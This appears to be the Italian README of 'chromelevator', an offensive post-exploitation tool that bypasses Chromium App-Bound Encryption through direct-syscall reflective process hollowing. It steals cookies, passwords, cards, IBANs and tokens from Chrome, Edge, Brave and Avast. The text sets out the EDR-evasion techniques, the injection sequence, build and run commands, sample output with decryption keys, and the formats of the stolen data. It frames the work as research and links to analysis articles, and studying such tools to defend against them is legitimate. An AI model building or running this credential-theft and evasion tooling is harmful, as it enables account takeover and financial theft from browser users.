
Bypassa la crittografia App-Bound di Chromium tramite Reflective Process Hollowing basato su syscall dirette. Estrai cookie, password, metodi di pagamento e token da Chrome, Edge, Brave e Avast - fileless, in user-mode, nessun admin richiesto.
Chrome App-Bound Encryption Decryption)Uno strumento post-exploitation che dimostra un bypass completo e in-memory della crittografia App-Bound (ABE) di Chromium. Questo progetto utilizza il Process Hollowing riflessivo basato su syscall dirette per avviare un processo di browser legittimo in stato sospeso, iniettando furtivamente un payload per dirottarne l'identità e il contesto di sicurezza. Questa tecnica Living-off-the-Land (LOTL) sovverte il modello di sicurezza del browser stesso. L'approccio senza file consente allo strumento di operare interamente dalla memoria, aggirando gli hook API user-land per decrittare ed esfiltrare dati sensibili dell'utente (cookie, password, pagamenti) dai browser Chromium moderni.
Se trovi utile questa ricerca, apprezzo un caffè:
L'efficacia di questo strumento affonda le radici in una combinazione di tecniche moderne incentrate sull'evasione:
Syscall diretti per l'evasione: aggira gli hook EDR/AV in user-land sulle funzioni WinAPI standard invocando direttamente le funzioni del kernel. Il motore risolve dinamicamente i numeri di syscall a runtime usando la tecnica Hell's Gate con corrispondenza delle funzioni basata su hash (nessun nome di syscall in chiaro nel binario).
Process Hollowing basato su syscall dirette: una tecnica furtiva di creazione e iniezione di processi. Invece di iniettare in un processo ad alto traffico e potenzialmente monitorato, crea un nuovo processo host sospeso. Questo riduce significativamente le probabilità di rilevamento, poiché tutte le manipolazioni della memoria avvengono prima che il processo inizi la normale esecuzione.
Payload fileless in memoria: la DLL del payload non tocca mai il disco sulla macchina target. È incorporata come array di byte crittografato ChaCha20 in fase di compilazione con chiavi derivate in fase di compilazione, decrittato in memoria e caricato in modalità riflessiva, minimizzando l'impronta forense e aggirando gli scanner statici basati su file.
Iniezione riflessiva di DLL (RDI): un metodo furtivo di iniezione in processi che aggira LoadLibrary per il payload principale, eludendo così i meccanismi di rilevamento che monitorano i caricamenti dei moduli. Il loader bootstrap autonomo mappa le sezioni PE, esegue le rilocazioni e risolve le importazioni dalla memoria.
Chiamata COM nel contesto del target: il perno per sconfiggere la crittografia App-Bound. Eseguendo codice all'interno del processo di browser attendibile, ne ereditiamo l'identità e il contesto di sicurezza, permettendoci di effettuare chiamate dall'apparenza legittima al server COM ABE e soddisfare i suoi controlli di sicurezza di convalida del percorso.
Nt*/Zw* in chiaro nel binario: utilizza hash DJB2 in fase di compilazione.LoadLibrary.--kill disponibile per la terminazione completa del processo.
Nota: Chrome/Brave/Edge 144+ utilizzano la nuova interfaccia COM
IElevator2. Questo strumento usa automaticamenteIElevator2quando disponibile e ripiega suIElevatorper le versioni precedenti. Avast Secure Browser usa un'interfaccia personalizzataIElevatorChromecon una vtable estesa (12 metodi, DecryptData all'offset 104).
Questa matrice illustra le capacità di estrazione per ciascun browser supportato.
L'esecuzione dello strumento è focalizzata su furtività ed efficienza, costruita attorno a un processo di Reflective Hollowing basato su syscall dirette. Questo approccio garantisce che vengano effettuate poche chiamate API di alto livello e che il payload operi dall'interno di un processo browser legittimo e di nuova creazione.
chromelevator.exe)ntdll.dll per risolvere i numeri di syscall (SSN) tramite corrispondenza basata su hash e individuare i gadget di transizione al kernel (syscall/ret o svc/ret). Se viene specificato il flag --kill, usa le syscall NtGetNextProcess e NtTerminateProcess per terminare tutte le istanze in esecuzione del browser target, rilasciando i file lock sui database SQLite.CREATE_SUSPENDED (CreateProcessW). Questo processo sospeso e incontaminato funge da host per il nostro payload.NtAllocateVirtualMemory (syscall diretta).Bootstrap viene eseguito, fungendo da caricatore PE personalizzato in memoria con maggiore furtività:
NtAllocateVirtualMemory (aggirando VirtualAlloc hookato).NtProtectVirtualMemory.DllMain del payload.DllMain genera un nuovo thread che si connette immediatamente all'handle della named pipe passato dall'iniettore. Legge la configurazione, incluso il percorso di output, inviata dall'iniettore. Tutti i successivi log e aggiornamenti di stato vengono inoltrati tramite questa pipe.IElevator2 per Chrome/Brave 144+, IElevator per le versioni precedenti, per Edge o per Avast Secure Browser). Poiché la chiamata proviene da un percorso di processo attendibile, tutti i controlli di sicurezza del server vengono superati.Questo progetto utilizza uno script di build semplice e robusto che gestisce automaticamente tutta la compilazione e l'incorporamento del payload.
Clona questo repository.
Apri un Prompt dei comandi per sviluppatori di VS (o qualsiasi shell abilitata a MSVC).
Esegui lo script di build make.bat dalla radice del progetto.
Opzioni di build:
make.bat - Compilazione completa (predefinita)make.bat clean - Rimuove tutti gli artefatti di buildmake.bat build_encryptor_only - Compila solo l'encryptor (usato da CI)make.bat build_target_only - Compila payload e iniettore (usato da CI)Questo progetto usa GitHub Actions per compilare automaticamente l'eseguibile dell'iniettore (chromelevator.exe) per le architetture x64 e ARM64.
Puoi trovare gli ultimi binari precompilati nella pagina delle Release. Gli eseguibili per entrambe le architetture sono impacchettati insieme in un unico comodo file .zip.
Contenuto del pacchetto di release:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### Opzioni
- `--output-path <path>` o `-o <path>`
Specifica la directory di base per i file di output.
Il valore predefinito è `.\output\` relativo alla posizione dell'iniettore.
I dati verranno organizzati in sottocartelle: `<path>/<BrowserName>/<ProfileName>/`.
- `--verbose` o `-v`
Abilita un output di debug esteso dall'iniettore.
- `--fingerprint` o `-f`
Estrae dati completi di fingerprinting del browser, inclusi versione, estensioni, impostazioni di sicurezza e informazioni di sistema.
I risultati vengono salvati in `fingerprint.json` nella directory di output del browser.
- `--kill` o `-k`
**Termina tutti i processi del browser prima dell'estrazione.** Utilizza syscall dirette (`NtTerminateProcess`) per terminare tutte le istanze in esecuzione del/dei browser target prima di tentare l'estrazione dei dati. Ciò è utile quando i browser sono in esecuzione e mantengono blocchi sui file di database, impedendo allo strumento di accedere a cookie o altri dati crittografati.
- `--help` o `-h`
Mostra questo messaggio di aiuto.
### Esecuzione normale```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 Estrazione dei Dati
Una volta completata la decrittazione, i dati vengono salvati nel percorso di output specificato (per impostazione predefinita `.\output\` se non specificato tramite `--output-path`). I file sono organizzati come segue:
**Percorso di base:** `YOUR_CHOSEN_PATH` (ad es. `.\output\` o il percorso che fornisci)
**Struttura:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
Percorsi di esempio (supponendo la posizione di output predefinita):
- 🍪 **Cookie (profilo Default di Chrome):** .\output\Chrome\Default\cookies.json
- 🔑 **Password (profilo 1 di Edge):** .\output\Edge\Profile 1\passwords.json
- 💳 **Metodi di pagamento (profilo Default di Brave):** .\output\Brave\Default\payments.json
- 🏦 **IBAN (profilo 1 di Chrome):** .\output\Chrome\Profile 1\iban.json
### 🍪 Estrazione dei Cookie
Ogni file di cookie è un array JSON di oggetti:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
Ogni file di password è un array JSON di oggetti:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 Estrazione dei Metodi di Pagamento
Ogni file di pagamento è un array JSON di oggetti:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
Ogni file IBAN è un array JSON di oggetti:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ Estrazione dei Token
Ogni file di token è un array JSON di oggetti contenenti il servizio, il token decriptato e la chiave di binding (se presente):```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
Quando si utilizza il flag --fingerprint o -f, viene generato un report completo dei metadati:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
This data provides intelligence about the browser's configuration, security posture, and system context.
## 📚 Analisi Tecnica Approfondita e Ricerca
Per una comprensione completa della App-Bound Encryption di Chrome, delle complessità della sua implementazione, dei meccanismi dettagliati dell'approccio di questo strumento e di una discussione più ampia sui vettori di sicurezza correlati, fare riferimento al mio articolo di ricerca dettagliato:
1. ➡️ **[Chrome App-Bound Encryption (ABE) - Approfondimento Tecnico e Note di Ricerca](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/RESEARCH.md)**
Questo documento copre:
- L'evoluzione da DPAPI ad ABE.
- Una suddivisione passo-passo del meccanismo ABE, incluse le interazioni COM `IElevator`/`IElevator2` e il key wrapping.
- Metodologia dettagliata della strategia di iniezione DLL utilizzata da questo strumento.
- Analisi delle strutture dati crittografate e approfondimenti pertinenti sul codice sorgente di Chromium.
- Discussione sui vettori di decifratura alternativi e sulle difese in evoluzione di Chrome.
2. ➡️ **[Il curioso caso del COM intrattabile: decifrare la App-Bound Encryption di Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
Questo articolo descrive in dettaglio le sfide specifiche e il percorso di reverse engineering intrapreso per ottenere una decifratura ABE affidabile per Microsoft Edge. Include:
- Una descrizione dei problemi iniziali e dei codici di errore fuorvianti (`E_INVALIDARG`, `E_NOINTERFACE`).
- Il processo di utilizzo dell'introspezione della type library COM (con Python `comtypes`) per scoprire la struttura e l'ereditarietà uniche della vtable `IElevatorEdge` di Edge.
- Come questa intuizione ha portato a stub di interfaccia C++ personalizzati per un'interazione efficace con il servizio ABE di Edge.
- Uno sguardo pratico al debug di complessi problemi di interoperabilità COM.
3. ➡️ **[L'ascensore si aggiorna: Chrome 144, IElevator2 e l'orizzonte Mojo](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
Questo articolo tratta la nuova interfaccia COM `IElevator2` di Chrome 144 e cosa significa per ABE:
- Confronto tecnico tra le interfacce `IElevator` di Chrome 143 e `IElevator2` di Chrome 144.
- Analisi dei due nuovi metodi (`RunIsolatedChrome`, `AcceptInvitation`) e della loro connessione con la migrazione Mojo IPC pianificata da Chromium.
- Confronto del layout delle vtable che mostra la preservazione della compatibilità all'indietro.
- L'adozione parziale di `IElevator2` e delle nuove interfacce Copilot da parte di Edge 144.
- Valutazione onesta di cosa la migrazione Mojo cambi (e non cambi) per la sicurezza di ABE.
4. ➡️ **[COMrade ABE: il tuo manuale da campo per il ventre COM della App-Bound Encryption](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/COMrade_ABE_Field_Manual.md)**
Questo manuale da campo presenta **COMrade ABE**, un analizzatore dinamico basato su Python per le interfacce COM di ABE, e approfondisce le sue applicazioni pratiche:
- Spiega la necessità dell'analisi dinamica delle interfacce COM a causa delle variazioni e degli aggiornamenti dei browser.
- Dettaglia la metodologia di COMrade ABE: scansione del registro per la scoperta dei servizi, caricamento e parsing della Type Library e corrispondenza euristica delle firme dei metodi ABE.
- Fornisce una guida completa per interpretare l'output di COMrade ABE, inclusi CLSID, IID (in stile standard e C++), e l'importanza dei dettagli dell'output verboso come gli offset di VTable, le interfacce di definizione e le catene complete di ereditarietà.
- Evidenzia l'utilità degli stub C++ generati automaticamente (`--output-cpp-stub`) per sviluppo e ricerca rapidi.
- Discute come COMrade ABE aiuti ad adattarsi ai cambiamenti di ABE, ad analizzare i nuovi browser Chromium e a comprendere le personalizzazioni COM specifiche del fornitore.
## 🔗 Risorse Aggiuntive e Ricerca
Questo progetto si basa sul lavoro e sull'analisi della più ampia comunità della sicurezza.
- **Documentazione e Annunci Ufficiali:**
- [Google Security Blog: Migliorare la sicurezza dei cookie di Chrome su Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [Documento di progettazione: Servizio di App-Bound Encryption di Chrome](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **Ricerca della Comunità e Riconoscimenti:**
- Prova di concetto di [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)
## 🗒️ Changelog
Tutte le modifiche degne di nota apportate a questo progetto sono documentate nel file [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/CHANGELOG.md). Ciò include la cronologia delle versioni, le nuove funzionalità, le correzioni di bug e i miglioramenti della sicurezza.
## 📜 Licenza
Questo progetto è concesso in licenza con la MIT License - consultare il file [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/LICENSE) per i dettagli.
## 💡 Filosofia del Progetto e Disclaimer
> [!IMPORTANT]
> Questo è un progetto amatoriale creato per scopi educativi e di ricerca sulla sicurezza. Serve come esperienza di apprendimento personale e come terreno di gioco per esplorare concetti avanzati di Windows.
>
> **Questo strumento NON è inteso come un infostealer completo o come uno strumento garantito di evasione EDR.** Sebbene impieghi tecniche avanzate, il suo obiettivo primario è dimostrare e analizzare il meccanismo ABE, non fornire furtività operativa per usi dannosi. Si prega di garantire la conformità a tutte le linee guida legali ed etiche pertinenti.
| Browser | Versione testata (x64 & ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| Funzionalità | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| Cookie | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Password | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Metodi di pagamento | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBAN | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| Token di autenticazione | ❌ N/A | ❌ N/A | ❌ N/A |
NtWriteVirtualMemory.NtProtectVirtualMemory (syscall diretta).NtCreateThreadEx. L'indirizzo di partenza del thread punta direttamente all'export Bootstrap del payload, con l'indirizzo del nome remoto della pipe come argomento. Il thread principale originale del browser rimane sospeso e non viene mai ripreso. L'iniettore attende quindi che il payload si riconnetta alla pipe.IEdgeElevatorFinalIAvastElevatorDecryptData sull'interfaccia COM, fornendo la app_bound_encrypted_key letta dal file Local State. Il server COM decritta fedelmente la chiave e restituisce al payload la chiave master AES-256 in chiaro.Default, Profile 1, ecc.). Per ogni profilo, interroga i database SQLite pertinenti (Cookies, Login Data, Web Data), decritta i blob di dati usando AES-256-GCM e formatta i segreti come JSON. I risultati vengono scritti direttamente nella directory di output specificata dall'iniettore.FreeLibraryAndExitThread per pulire. L'iniettore, al ricevimento del segnale, termina il processo host padre con NtTerminateProcess.